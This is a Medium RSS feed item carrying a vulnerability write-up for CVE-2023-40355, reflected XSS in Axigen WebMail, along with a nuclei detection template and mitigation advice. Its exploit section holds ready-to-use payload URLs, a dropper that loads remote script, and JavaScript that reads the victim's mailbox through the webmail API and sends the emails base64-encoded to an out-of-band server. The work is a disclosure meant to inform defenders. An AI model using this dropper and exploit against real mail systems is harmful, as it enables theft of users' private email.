<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Amir Hossein Fallahi on Medium]]></title>
        <description><![CDATA[Stories by Amir Hossein Fallahi on Medium]]></description>
        <link>https://medium.com/@amir_h_fallahi?source=rss-e5ac1d993fe------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*G1BNj_TJVvV6gnOULjQMug.jpeg</url>
            <title>Stories by Amir Hossein Fallahi on Medium</title>
            <link>https://medium.com/@amir_h_fallahi?source=rss-e5ac1d993fe------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 19:51:18 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@amir_h_fallahi/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Axigen WebMail 0-Day: Stealing User Emails through XSS]]></title>
            <link>https://medium.com/@amir_h_fallahi/axigen-webmail-0-day-stealing-user-emails-through-xss-728de6782e85?source=rss-e5ac1d993fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/728de6782e85</guid>
            <category><![CDATA[cross-site-scripting]]></category>
            <category><![CDATA[zero-day]]></category>
            <category><![CDATA[advisory]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Amir Hossein Fallahi]]></dc:creator>
            <pubDate>Wed, 02 Aug 2023 17:26:24 GMT</pubDate>
            <atom:updated>2024-02-13T17:58:54.537Z</atom:updated>
            <content:encoded><![CDATA[<h3>Axigen WebMail 0-Day: Stealing User Emails through XSS | CVE-2023–40355</h3><h3>Summary</h3><p>URL query parameters are not sanitized before they are placed into an HTTP Response body which leads to <strong>Cross-Site Scripting</strong>. An attacker can exploit this flaw to create a link that, when the victim clicks, access and retrieve mailbox content.</p><blockquote>This security flaw is currently patched.</blockquote><h3><strong>Product Description</strong></h3><p>Axigen WebMail is a “Premium, scalable mail server for Telcos, ISPs, Hosting Providers, and more” they said. I have to mention places like Banks, Universities, etc. <a href="https://www.axigen.com/">More detail</a>.</p><h3>Affected Version</h3><p>The latest version (at this time 10.5.0–4370c946) and older version of Axigen WebMail.</p><p><strong>Update:</strong></p><p>Axigen 10.3.3.0–10.3.3.57; <a href="https://www.axigen.com/updates/axigen-10.3.3.59">fixed starting with 10.3.3.59</a><br>Axigen 10.4.0–10.4.18; <a href="https://www.axigen.com/updates/axigen-10.4.19">fixed starting with 10.4.19</a><br>Axigen 10.5.0–10.5.4; <a href="https://www.axigen.com/updates/axigen-10.5.5">fixed starting with 10.5.5</a></p><h3>Disclaimer</h3><p>This write-up is only to demonstrate the vulnerability to inform security teams and companies using this WebMail to prevent possible abuses.</p><h3><strong>Description</strong></h3><p>This description includes two Reflected XSS and one HTML Injection vulnerability.</p><p>Axigen has provided a demo WebMail to users at the following address.</p><p><a href="https://web.axigenmail.com/">https://web.axigenmail.com/</a></p><h4>1st Reflected XSS</h4><p>The first vulnerability occurs in the password expiration function at the following address.</p><pre><strong>/index.hsp?passwordExpired=yes</strong></pre><p>This function accepts “<strong>username”</strong> and “<strong>domainName”</strong> parameters and reflects them without sanitization between <em>&lt;script&gt;</em> tags.</p><pre><strong>/index.hsp?passwordExpired=yes&amp;username=\&#39;-alert(document.cookie),//<br></strong><br><strong>/index.hsp?passwordExpired=yes&amp;domainName=\&#39;-alert(document.cookie),//</strong></pre><p><strong>Testing it via Axigen demo WebMail</strong></p><p><a href="https://web.axigenmail.com/index.hsp?passwordExpired=yes&amp;username=\&#39;-alert(document.cookie),//">https://web.axigenmail.com/index.hsp?passwordExpired=yes&amp;username=\&#39;-alert(document.cookie),//</a></p><p><a href="https://web.axigenmail.com/index.hsp?passwordExpired=yes&amp;domainName=\&#39;-alert(document.cookie),//">https://web.axigenmail.com/index.hsp?passwordExpired=yes&amp;domainName=\&#39;-alert(document.cookie),//</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GVeY81w26a8EYi3XbO3YSg.png" /></figure><p>There is another parameter called “<strong>custom” </strong>If it is sent with a junk value, we can inject html using previous parameters. Due to the implementation of CSP, it is not possible to leverage it to XSS.</p><pre><strong>/index.hsp?passwordExpired=yes&amp;custom=blah&amp;username=&lt;h1&gt;Amir&lt;/h1&gt;&amp;domainname=&lt;h1&gt;Hossein&lt;/h1&gt;</strong></pre><p><strong>Testing it via Axigen demo WebMail</strong></p><p><a href="https://web.axigenmail.com/index.hsp?passwordExpired=yes&amp;custom=blah&amp;username=%3Ch1%3EAmir%3C/h1%3E&amp;domainname=%3Ch1%3EHossein%3C/h1%3E">https://web.axigenmail.com/index.hsp?passwordExpired=yes&amp;custom=blah&amp;username=%3Ch1%3EAmir%3C/h1%3E&amp;domainname=%3Ch1%3EHossein%3C/h1%3E</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1_ZT77se76XBk8oAbSA2IA.png" /></figure><h4>2nd Reflected XSS</h4><p>The index.hsp endpoint accepts a parameter named “<strong>m”</strong> and again reflects it without sanitization between <em>&lt;script&gt;</em> tags.</p><pre><strong>/index.hsp?m=&#39;,alert(document.cookie),&#39;</strong></pre><p><strong>Testing it via Axigen demo WebMail</strong></p><p><a href="https://web.axigenmail.com/index.hsp?m=%27,alert(document.cookie),%27">https://web.axigenmail.com/index.hsp?m=%27,alert(document.cookie),%27</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MJUX6AAnryT8wHscKpkwlQ.png" /></figure><h3>Exploit</h3><p>We use the second Reflected XSS to exploit this vulnerability, create a malicious link, and steal user emails.</p><h4>Dropper code</h4><p>This dropper code, loads and executes JavaScript exploit code from a remote server.</p><pre>&#39;);<br>x = document.createElement(&#39;script&#39;);<br>x.src = &#39;https://example.com/exploit.js&#39;;<br>window.addEventListener(&#39;DOMContentLoaded&#39;,function y(){<br>  document.body.appendChild(x)<br>})//</pre><p><strong>Encoded form</strong></p><pre>/index.hsp?m=%27)%3Bx%3Ddocument.createElement(%27script%27)%3Bx.src%3D%27https://example.com/exploit.js%27%3Bwindow.addEventListener(%27DOMContentLoaded%27,function+y(){document.body.appendChild(x)})//</pre><h4>Exploit code</h4><pre>xhr1 = new XMLHttpRequest(), xhr2 = new XMLHttpRequest(), xhr3 = new XMLHttpRequest();<br>oob_server = &#39;https://example.com/&#39;;<br>var script_tag = document.createElement(&#39;script&#39;);<br><br>xhr1.open(&#39;GET&#39;, &#39;/&#39;, true);<br>xhr1.onreadystatechange = () =&gt; {<br>    if (xhr1.readyState === XMLHttpRequest.DONE) {<br>        _h_cookie = new URL(xhr1.responseURL).search.split(&quot;=&quot;)[1];<br>        xhr2.open(&#39;PATCH&#39;, `/api/v1/conversations/MQ/?_h=${_h_cookie}`, true);<br>        xhr2.setRequestHeader(&#39;Content-Type&#39;, &#39;application/json&#39;);<br>        xhr2.onreadystatechange = () =&gt; {<br>            if (xhr2.readyState === XMLHttpRequest.DONE) {<br>                if (xhr2.status === 401){<br>                    script_tag.src = `${oob_server}?status=session_expired&amp;domain=${document.domain}`;<br>                    document.body.appendChild(script_tag); <br>                } else {<br>                    resp = xhr2.responseText;<br>                    folderId = JSON.parse(resp)[&quot;mails&quot;][0][&quot;folderId&quot;];<br>                    xhr3.open(&#39;GET&#39;, `/api/v1/conversations?folderId=${folderId}&amp;_h=${_h_cookie}`, true);<br>                    xhr3.onreadystatechange = () =&gt; {<br>                        if (xhr3.readyState === XMLHttpRequest.DONE) {<br>                            emails = xhr3.responseText;<br>                            script_tag.src = `${oob_server}?status=ok&amp;domain=${document.domain}&amp;emails=${btoa(emails)}`;<br>                            document.body.appendChild(script_tag);<br>                        }<br>                    };<br>                    xhr3.send();<br>                }<br>            }<br>        };<br>        var body = JSON.stringify({isUnread: false});<br>        xhr2.send(body);<br>    }<br>};<br>xhr1.send();</pre><h4>Combining dropper and exploit</h4><p>You can host the exploit code somewhere and then address it in the dropper code.</p><p>I made the following youtube video that shows how user emails will be stolen with this exploit.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Ftpl99qOVC-M%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dtpl99qOVC-M&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Ftpl99qOVC-M%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/79e837614fb1fcff841a06e68b8736c0/href">https://medium.com/media/79e837614fb1fcff841a06e68b8736c0/href</a></iframe><h3>Detection for Hunters</h3><p>A nuclei template to detect these vulnerabilities.</p><pre>id: CVE-2023-40355<br><br>info:<br>  name: Axigen WebMail Reflected XSS<br>  author: Amir Hossein Fallahi<br>  severity: medium<br>  description: |<br>    This vulnerability allows attackers to run arbitrary Javascript code that, using an active end-user session (for a logged-in user), can access and retrieve mailbox content.<br>  classification:<br>    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N<br>    cvss-score: 6.5<br>  metadata:<br>    shodan-query: http.favicon.hash:-1247684400<br>    verified: &quot;true&quot;<br>  tags: xss,axigen<br><br>requests:<br>  - name: Reflected XSS in username parameter<br>    method: GET<br>    path:<br>      - &quot;{{BaseURL}}/index.hsp?passwordExpired=yes&amp;username=\\&#39;-alert(document.cookie),//&quot;<br>    matchers:<br>      - type: word<br>        part: body<br>        words:<br>          - &quot;\\\\&#39;-alert(document.cookie),//&quot;<br>  - name: Reflected XSS in domainName parameter<br>    method: GET<br>    path:<br>      - &quot;{{BaseURL}}/index.hsp?passwordExpired=yes&amp;domainName=\\&#39;-alert(document.cookie),//&quot;<br>    matchers:<br>      - type: word<br>        part: body<br>        words:<br>          - &quot;\\\\&#39;-alert(document.cookie),//&quot;<br>  - name: Reflected XSS in m parameter<br>    method: GET<br>    path:<br>      - &quot;{{BaseURL}}/index.hsp?m=&#39;,alert(document.cookie),&#39;&quot;<br>    matchers:<br>      - type: word<br>        part: body<br>        words:<br>          - &quot;&#39;,alert(document.cookie),&#39;&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AIhhVTpa90Ep5s641kmA3Q.png" /></figure><h3>Mitigations</h3><p>Considering that I’ve not received any response from the Axigen Security Team after 2 weeks since I reported it, there are currently no patches.</p><p>But you can block some parameters for malicious characters if you have a web application firewall.</p><p><strong>Path</strong></p><pre><strong>/index.hsp<br>/</strong></pre><p><strong>Parameters</strong></p><pre><strong>username<br>domainname<br>domainName<br>m</strong></pre><p><strong>Update:</strong></p><p>Upgrade now from your WebAdmin.</p><h3><strong>Credit</strong></h3><p>Amir Hossein Fallahi</p><p>Twitter: <a href="https://twitter.com/amir_h_fallahi">https://twitter.com/amir_h_fallahi</a></p><p>Telegram: <a href="https://t.me/secflaws">https://t.me/secflaws</a></p><p>Youtube: <a href="https://www.youtube.com/@secflaws">https://www.youtube.com/@secflaws</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=728de6782e85" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>